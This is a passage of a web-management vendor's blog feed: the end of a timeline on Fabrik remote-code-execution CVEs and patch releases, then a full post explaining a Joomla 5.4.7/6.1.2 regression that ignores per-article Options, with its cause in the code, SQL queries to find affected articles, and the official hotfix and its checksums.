&lt;li&gt;&lt;strong&gt;2026-08-11&lt;/strong&gt; A one-line manual patch is published for the Joomla 3 line After a subscriber asks for something their Joomla 3 clients could use while migrations are in progress. Fabrik confirms no Fabrik 3 release will ever ship. The same day, a subscriber reports the 4.7.0 download button greyed out and an administrator replies that it &quot;is not ready, it is being tested by a few people&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-12&lt;/strong&gt; The CNA revises CVE-2026-66915, and everyone who patched twice is still exposed The affected range widens from 1.0.0 to 4.6.6 up to 1.0.0 to 4.6.8, and the fixed version is restated as 4.6.9, which has never existed. Minutes later the CNA publishes CVE-2026-67282 for the list filter flaw, also 10.0, affecting 1.0.0 to 4.6.7 and fixed in 4.6.8, reported by Murad Gasimov.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-13&lt;/strong&gt; 4.7.0 is announced as Stable, and almost no one can download it It reaches the changelog history page at 13:30 UTC and the forum at 14:45 UTC, with its maturity given as Stable. The package stays restricted to a small test group and is left out of the Joomla update feed entirely, so no site&apos;s updater can see it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-15&lt;/strong&gt; The build you can actually download is assembled Every file in the 4.7.0 package is timestamped 15 August 2026, 06:29, two days after the release date its own page gives.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-16&lt;/strong&gt; 4.7.0 enters the feed as a release candidate, and the record of 13 August changes Joomla hides release candidates at default settings, so most sites still will not be offered it. The maturity on the release page moves from Stable to Release Candidate against the same build and the same date, the changelog history entry disappears, and the release notes thread is retitled. Six days passed between the fix being written and the people running the software being able to install it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-22&lt;/strong&gt; 4.7.2 closes a long list of further unauthenticated flaws The 4.7.x line finally arrives somewhere defensible, most of it found and reported by mySites.guru. 4.7.3 followed on 24 August with no new security fixes and two regression repairs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66915&quot;&gt;CVE-2026-66915 record&lt;/a&gt; - the calc element flaw, revised on 12 August 2026 to cover 1.0.0 through 4.6.8&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67282&quot;&gt;CVE-2026-67282 record&lt;/a&gt; - the front end list filter flaw, published 12 August 2026, also CVSS 4.0 10.0 Critical&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/fabrik-base-infos&quot;&gt;Fabrik 4.7.0 release information&lt;/a&gt; - the release page, with the eval hardening note and the userAjax, FullCalendar and Paypal warnings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/fabrik-v4-7-0-release-notes-release-candidate-is-now-available.55754/&quot;&gt;Fabrik 4.7.0 release notes&lt;/a&gt; - the vendor&apos;s own announcement, the breaking changes, the new session token requirement for AJAX calls, and the 16 August post announcing the release candidate. The thread has been retitled since 13 August, so the URL we published then now redirects here&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/changelogs/changelog-history&quot;&gt;Fabrik changelog history&lt;/a&gt; - the vendor&apos;s own release notes, and the place to confirm that no 4.6.9 exists&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/f3-users-security-update.55752/&quot;&gt;Fabrik 3 manual security patch&lt;/a&gt; - the one-line source patch for the Fabrik 3 calc element, plus the corrected method name in the reply&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/fabrik-4-6-7-security-release-for-j-4-and-j-5-is-available.55749/&quot;&gt;Fabrik 4.6.7 release announcement&lt;/a&gt; - the forum post with the compatibility and subscription requirements&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; - the official list of known-vulnerable Joomla extensions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Improper Control of Generation of Code&lt;/a&gt; - the weakness class this flaw belongs to&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/fabrik/&quot;&gt;Fabrik on Joomla 3&lt;/a&gt; - the vendor&apos;s statement that no security work reaches Fabrik 3, and the one-line forum patch.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>vulnerability</category><category>fabrik</category><category>rce</category><enclosure url="https://mysites.guru/img/og/blog/fabrik-unauthenticated-rce-calc-element.png" length="0" type="image/png"/></item><item><title>Joomla 6.1.2 and 5.4.7 Ignore Every Article Option</title><link>https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/</guid><description>Joomla 6.1.2 and 5.4.7 ignore every per-article Option on the front end. The root cause, how to find affected articles, and the official hotfix.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You set an Alternative Layout on a Joomla article. The front end ignores it and renders the default. The custom fields that layout was supposed to show have apparently vanished. So you clear the Joomla cache, purge Cloudflare, rebuild the menus, reinstall the template, and check the article again. Nothing has changed.&lt;/p&gt;
&lt;p&gt;The article is fine. Your template is fine. Joomla 5.4.7 and 6.1.2 both have a core regression that throws away every Option you set on an individual article and renders the menu item or global value instead.&lt;/p&gt;
&lt;p&gt;Both versions shipped on 7 July 2026, and both are still the newest stable release on their branch. The people who updated promptly are exactly the ones who got hit, and as of 10 August 2026 there is no released Joomla version you can update to that fixes it.&lt;/p&gt;
&lt;h2&gt;What Actually Breaks in Joomla 6.1.2 and 5.4.7&lt;/h2&gt;
&lt;p&gt;Every per-article Option is ignored on the front end. Not one feature, all of them. The Options tab on an article stops influencing the page entirely, and Joomla falls back to whatever the menu item or the com_content global configuration says.&lt;/p&gt;
&lt;p&gt;That includes the Alternative Layout, author display, the info block, publish dates, hit counts, tags, and article navigation. Anything you can set per article and expect to win.&lt;/p&gt;
&lt;p&gt;This is why the symptom looks different on every site. On one it is a missing byline. On another it is a page rendering with the wrong layout, which makes the custom fields assigned to that layout look like they have been deleted. The underlying fault is identical in both cases.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;This is a functional bug, not a security issue. It does not expose data or allow unauthorised access. It is tagged as a bug on the Joomla issue tracker, and it never went through Joomla&apos;s security channel.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Write About This When the Fix Already Exists?&lt;/h2&gt;
&lt;p&gt;Several people have asked exactly that in the comments, so to answer it directly: yes, we know. We have been tracking this since the day it was reported in July, which is why the check described further down reads the file on disk instead of trusting the version number, and why applying the official hotfix from mySites.guru is one click. None of that was built this weekend.&lt;/p&gt;
&lt;p&gt;What changed this weekend was demand. Site owners fall into two groups: the ones who update the week a release ships, and the ones who update someday. Someday turned out to be 8 and 9 August, a month after 5.4.7 and 6.1.2 came out, and our mailbox filled up with the same question from people who had just updated and watched their article layouts stop working. A fix existing and a fix being applied are different things, and the gap between them is exactly where the support tickets are.&lt;/p&gt;
&lt;p&gt;The second reason is that the Joomla project communicates post-release problems poorly. The full write-up lives on a &lt;a href=&quot;https://manual.joomla.org/updates/60-61/known-issues/6.1.2/&quot;&gt;known-issues page in the manual&lt;/a&gt;, several levels deep on a site most administrators never visit. Credit where it is due, the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-2-5-4-7-security-bugfix-release.html&quot;&gt;release announcement&lt;/a&gt; now opens with a yellow warning card headed “Known issue with 5.4.7 and 6.1.2”, with both the hotfix link and the manual link. Previous releases gave known issues a plain sentence link partway down the page, so the card is an improvement.&lt;/p&gt;
&lt;p&gt;Almost no one updates Joomla by reading joomla.org, though. They click Update in their own administrator. On that screen the entire pointer to the announcement is one link labelled “Additional Information”, rendered from the &lt;code&gt;infourl&lt;/code&gt; field in Joomla’s update XML, sitting beside the button everyone came to press. Once the update finishes, the completion screen tells you “Your site has been updated. Your Joomla version is now 5.4.7.” and stops there. No post-installation message ever mentions the known issue.&lt;/p&gt;
&lt;p&gt;The timing makes it worse. The regression was reported on 8 July, one day after both versions shipped, so anyone who updated in that first day read an announcement page that did not yet have the warning. Joomla has no mechanism to reach a site once it has already updated, and the known-issues page just sits there waiting to be found. The people most exposed are the ones who updated fastest and then had no reason to look again.&lt;/p&gt;
&lt;p&gt;If you patched in July, this post is not aimed at you. Send it to whoever updated last weekend.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Affected Joomla Site?&lt;/h2&gt;
&lt;p&gt;You need a patch-level version list, and that is harder than it sounds. Joomla’s own public statistics only report the minor branch, so they will tell you what share of sites run 5.4 or 6.1 but not how many are on the specific releases that have the bug.&lt;/p&gt;
&lt;p&gt;If your sites are connected to mySites.guru, the Sites list already holds the exact version of every install. Type the version straight into the filter box at the top of the list, which reads “Filter sites by name, url, tag or version number - exact match search”, and the list narrows to the matching sites. Do it once for &lt;code&gt;5.4.7&lt;/code&gt; and once for &lt;code&gt;6.1.2&lt;/code&gt;, and export each list if you want it as a CSV to work through.&lt;/p&gt;
&lt;p&gt;That turns an afternoon of logging into every site into about thirty seconds. It is the same job &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; exists to make boring.&lt;/p&gt;
&lt;p&gt;Here is what that query returns across the Joomla sites connected to mySites.guru today:&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla version&lt;/th&gt;&lt;th&gt;Share of connected Joomla sites&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;5.4.7&lt;/td&gt;&lt;td&gt;~18%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.1.2&lt;/td&gt;&lt;td&gt;~13%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5.4.8 or 6.1.3&lt;/td&gt;&lt;td&gt;none, no such release exists&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;So about 31% of every connected Joomla install is on a version that has this bug. Narrow it to sites already on a current branch, meaning 5.4.x or 6.1.x, and the affected share is nearly 88%. Keeping Joomla current is still the right call, and it is what put almost nine in ten of those sites on a broken release.&lt;/p&gt;
&lt;p&gt;Filtering on the version number has one limitation. Applying the hotfix does not change the version a site reports, so a patched 5.4.7 site still shows as 5.4.7 and keeps appearing in that filter. Separating the patched from the broken means looking at the file itself, which is what the &lt;a href=&quot;#apply-the-hotfix-from-mysitesguru-instead&quot;&gt;dedicated check described below&lt;/a&gt; does.&lt;/p&gt;
&lt;h2&gt;Why Won’t Clearing Your Joomla Cache Fix It?&lt;/h2&gt;
&lt;p&gt;Because nothing is cached wrongly. The wrong values are resolved in PHP on every single request, while Joomla is building the article, long before any cache or CDN sees the finished HTML.&lt;/p&gt;
&lt;p&gt;That single fact explains why this bug costs people an afternoon. Every instinct a competent Joomla administrator has is the wrong one here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clearing the Joomla cache changes nothing, because the page is rebuilt with the same wrong values.&lt;/li&gt;
&lt;li&gt;Purging Cloudflare or switching on development mode changes nothing, for the same reason.&lt;/li&gt;
&lt;li&gt;Rebuilding the menu or the database changes nothing, because no data is corrupt.&lt;/li&gt;
&lt;li&gt;Reinstalling the template changes nothing, because the template was never consulted for the layout it was told to skip.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The fastest way to confirm it is to turn on debug and look at which layout actually loads. If the com_content global default renders instead of the one set on the article, this is your bug.&lt;/p&gt;
&lt;h2&gt;The Code Change That Broke Joomla’s Article Options&lt;/h2&gt;
&lt;p&gt;The cause is &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47752&quot;&gt;PR #47752&lt;/a&gt;, “[5.4] Fix Author Display Issue Using Article Setting”, merged on 27 May 2026 and shipped in both 5.4.7 and 6.1.2. It rewrote how &lt;code&gt;components/com_content/src/Model/ArticleModel.php&lt;/code&gt; merges an article’s own parameters over the menu and global ones.&lt;/p&gt;
&lt;p&gt;The original logic merged the article’s stored &lt;code&gt;attribs&lt;/code&gt; wholesale, so anything set on the article won every time:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$data&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;params &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; clone&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getState&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$data&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;merge&lt;/span&gt;&lt;span&gt;($registry);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The replacement only reaches into the article’s parameters where the &lt;strong&gt;menu item&lt;/strong&gt; already holds the literal string &lt;code&gt;use_article&lt;/code&gt; for that key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$menuParamsArray &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getState&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;toArray&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;foreach&lt;/span&gt;&lt;span&gt; ($menuParamsArray &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $key &lt;/span&gt;&lt;span&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; $value) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; ($value &lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;use_article&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        $articleArray[$key] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $registry&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;($key);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A Single Article menu item has no &lt;code&gt;article_layout&lt;/code&gt; key at all, so the loop never fires for it and the article’s value is never merged in. What is still there is the com_content global configuration merged with the menu item parameters, and the view then reads that stale value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;isset&lt;/span&gt;&lt;span&gt;($active&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;query[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;layout&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;])) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;setLayout&lt;/span&gt;&lt;span&gt;($active&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;query[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;layout&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;elseif&lt;/span&gt;&lt;span&gt; ($layout &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $item&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;article_layout&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;setLayout&lt;/span&gt;&lt;span&gt;($layout);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution reaches the second branch and sets the layout, using a value the article never got a chance to override. Nothing errors, nothing is logged, and the page renders happily with the wrong settings. Silent wrong output is always more expensive to diagnose than a crash.&lt;/p&gt;
&lt;h2&gt;Which of My Joomla Articles Are Actually Affected?&lt;/h2&gt;
&lt;p&gt;Only articles whose Options differ from what the menu item or global config already says. If an article’s layout matches the com_content default, it renders correctly by accident. So a site can look 95% fine and still have three pages badly broken.&lt;/p&gt;
&lt;p&gt;To list the published articles that set their own layout, swap &lt;code&gt;#__&lt;/code&gt; for your real table prefix:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; id, title,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;       JSON_UNQUOTE(&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;           JSON_EXTRACT(attribs, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;$.article_layout&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;       ) &lt;/span&gt;&lt;span&gt;AS&lt;/span&gt;&lt;span&gt; article_layout&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt;   #__content&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt;  state&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  AND&lt;/span&gt;&lt;span&gt;  JSON_VALID(attribs)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;HAVING&lt;/span&gt;&lt;span&gt; article_layout &lt;/span&gt;&lt;span&gt;IS NOT NULL&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   AND&lt;/span&gt;&lt;span&gt; article_layout &lt;/span&gt;&lt;span&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; title;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Layout is only the most visible casualty though. To catch every article that has any non-inherited Option, match on the shape of the stored JSON instead. Joomla writes unset options as empty strings, so anything with a value has been set on purpose:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; id, title, attribs&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt;   #__content&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt;  state&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  AND&lt;/span&gt;&lt;span&gt;  attribs REGEXP &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;&quot;[a-zA-Z0-9_]+&quot;:&quot;[^&quot;]+&quot;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; title;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Work down that list and check each one on the front end. It is usually much shorter than people expect.&lt;/p&gt;
&lt;h2&gt;How Do I Apply the Official Joomla Hotfix?&lt;/h2&gt;
&lt;p&gt;Joomla publishes a hotfix package that reverts the offending change on 5.4.7 and 6.1.2. It is a one-time file patcher: it checks your version, replaces &lt;code&gt;ArticleModel.php&lt;/code&gt;, tells you what it changed, then deletes itself, so no extension is left installed afterwards.&lt;/p&gt;
&lt;p&gt;The package is &lt;code&gt;Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip&lt;/code&gt;, published at &lt;a href=&quot;https://update.joomla.org/hotfix/Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip&quot;&gt;update.joomla.org/hotfix/&lt;/a&gt;. Check it against these before you install it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SHA256&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;e1247bb5a01b2448307407f9f843b33edae52d324f7f95b21252e74e7c47328f&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;MD5&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;a1e708491efa376d5369a7db3bce5800&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install it through System, Install, Extensions like any other package. Verify the checksum first, and take a backup, because this replaces a core file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;shasum&lt;/span&gt;&lt;span&gt; -a&lt;/span&gt;&lt;span&gt; 256&lt;/span&gt;&lt;span&gt; Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;The patcher runs on exactly 5.4.7 and 6.1.2 and aborts safely on any other version. That version lock is intended, so do not try to force it onto a different release. If you would rather not use the installer, the zip preserves the directory structure and you can copy the correct version&apos;s ArticleModel.php over components/com_content/src/Model/ yourself, then fix ownership and permissions and clear the cache.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There is nothing to undo later. When 5.4.8 or 6.1.3 arrives it overwrites the patched file with the proper fix.&lt;/p&gt;
&lt;h2&gt;Apply the Hotfix From mySites.guru Instead&lt;/h2&gt;
&lt;p&gt;mySites.guru now checks for this regression on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; of a Joomla site, and applies Joomla’s official hotfix for you. On the Manage Site page, open the Quick Snapshot tab and look under Joomla Configuration for &lt;strong&gt;Article Options Ignored (Joomla 5.4.7 &amp;amp; 6.1.2)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The check ignores the reported version number, because patching the file does not change it. Instead it reads &lt;code&gt;components/com_content/src/Model/ArticleModel.php&lt;/code&gt; on your site and looks for a local variable named &lt;code&gt;menuParamsArray&lt;/code&gt;. That variable exists in 5.4.7 and 6.1.2 and in no other release: not in 5.4.6 or 6.1.1 before them, not in the permanent fix scheduled for 5.4.8 and 6.1.3, and not in either file inside Joomla’s own hotfix package. Its presence is therefore an exact answer, in both directions, to whether the site is running the broken code at this moment, which is more than a version number can tell you.&lt;/p&gt;
&lt;p&gt;Click Investigate and you get the file, its MD5, and the published articles that are actually losing settings, with the specific Options each one sets:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Article Options Ignored tool showing a Core file on disk panel marked Broken. It lists the path components/com_content/src/Model/ArticleModel.php, Joomla 6.1.2, and MD5 a0b0790a1739f8581a8c8cd605ccf55a. A red warning reads This site is running the broken code, explaining the file is byte-for-byte what Joomla shipped and every per-article Option is being ignored on the front end, with an Apply Official Hotfix button. Below, a panel headed 1 published article losing its Options lists article ID 1 with the ignored options article_layout, show_author and show_publish_date&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1650px) 1650px, 100vw&quot; width=&quot;1650&quot; height=&quot;1184&quot; src=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-broken.BhiRgR0H_Z3Ktr5.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-broken.BhiRgR0H_27z5Pq.webp 640w, https://mysites.guru/_astro/joomla-article-options-hotfix-broken.BhiRgR0H_Z1fhBgO.webp 750w, https://mysites.guru/_astro/joomla-article-options-hotfix-broken.BhiRgR0H_21TaGo.webp 828w, https://mysites.guru/_astro/joomla-article-options-hotfix-broken.BhiRgR0H_ZbTdLe.webp 1080w, https://mysites.guru/_astro/joomla-article-options-hotfix-broken.BhiRgR0H_Kf4RR.webp 1280w, https://mysites.guru/_astro/joomla-article-options-hotfix-broken.BhiRgR0H_Z3Ktr5.webp 1650w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The count matters more than the badge. As covered above, an article whose Options match the menu item or global default renders correctly by accident, so only published articles that actually set a per-article Option are counted. A 5.4.7 site that leaves everything on “Use Global” loses nothing, and we say so rather than raising an alarm about it. The badge reads “No Data” until the site has taken a snapshot with a connector new enough to run the check, because “no data” and “zero” are different answers.&lt;/p&gt;
&lt;p&gt;Clicking Apply Official Hotfix writes nothing straight away. It asks first, and the dialog spells out the rule the patcher enforces:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A confirmation dialog headed Apply the official hotfix? The body reads This replaces components/com_content/src/Model/ArticleModel.php with the file from Joomla&apos;s official hotfix. If the file on your site is not exactly what Joomla shipped, nothing is written. Below are a red Apply hotfix button and a Cancel button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1068px) 1068px, 100vw&quot; width=&quot;1068&quot; height=&quot;840&quot; src=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-confirm.Dnv0zqf5_Z2uDTqR.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-confirm.Dnv0zqf5_1Yu48X.webp 640w, https://mysites.guru/_astro/joomla-article-options-hotfix-confirm.Dnv0zqf5_1FEOpl.webp 750w, https://mysites.guru/_astro/joomla-article-options-hotfix-confirm.Dnv0zqf5_ZPYGIL.webp 828w, https://mysites.guru/_astro/joomla-article-options-hotfix-confirm.Dnv0zqf5_Z2uDTqR.webp 1068w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There are two gates on that write. The file has to still be byte-for-byte what Joomla shipped, and the patched result is only kept if it is identical to the file inside Joomla’s official hotfix package. So it either produces the official fix exactly or changes nothing at all. If somebody has already edited &lt;code&gt;ArticleModel.php&lt;/code&gt; on that site, the patch is rejected and you are told, rather than having work no one can see overwritten.&lt;/p&gt;
&lt;p&gt;There is no backup step. The first gate means the file being replaced is always a specific, published Joomla release, so the rollback is downloading that same official file again.&lt;/p&gt;
&lt;p&gt;When the write does happen, the file is read back off disk and its checksum verified a second time, so the panel only flips once the bytes on your own server have been checked:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The same mySites.guru Core file on disk panel after patching, now badged Hotfix applied in green. The MD5 has changed to efb0c1bf10f1bcc0c3f8d6540369a486 and a green confirmation reads The official hotfix is in place, explaining the file matches Joomla&apos;s hotfix byte for byte, per-article Options work again, and that Joomla 5.4.8 and 6.1.3 have the permanent fix so updating to either is safe from here&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1500px) 1500px, 100vw&quot; width=&quot;1500&quot; height=&quot;772&quot; src=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-applied.p5UMmBjL_ZOyY8W.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-applied.p5UMmBjL_192tgN.webp 640w, https://mysites.guru/_astro/joomla-article-options-hotfix-applied.p5UMmBjL_Zs2rSY.webp 750w, https://mysites.guru/_astro/joomla-article-options-hotfix-applied.p5UMmBjL_Z2ekbbi.webp 828w, https://mysites.guru/_astro/joomla-article-options-hotfix-applied.p5UMmBjL_18ucU6.webp 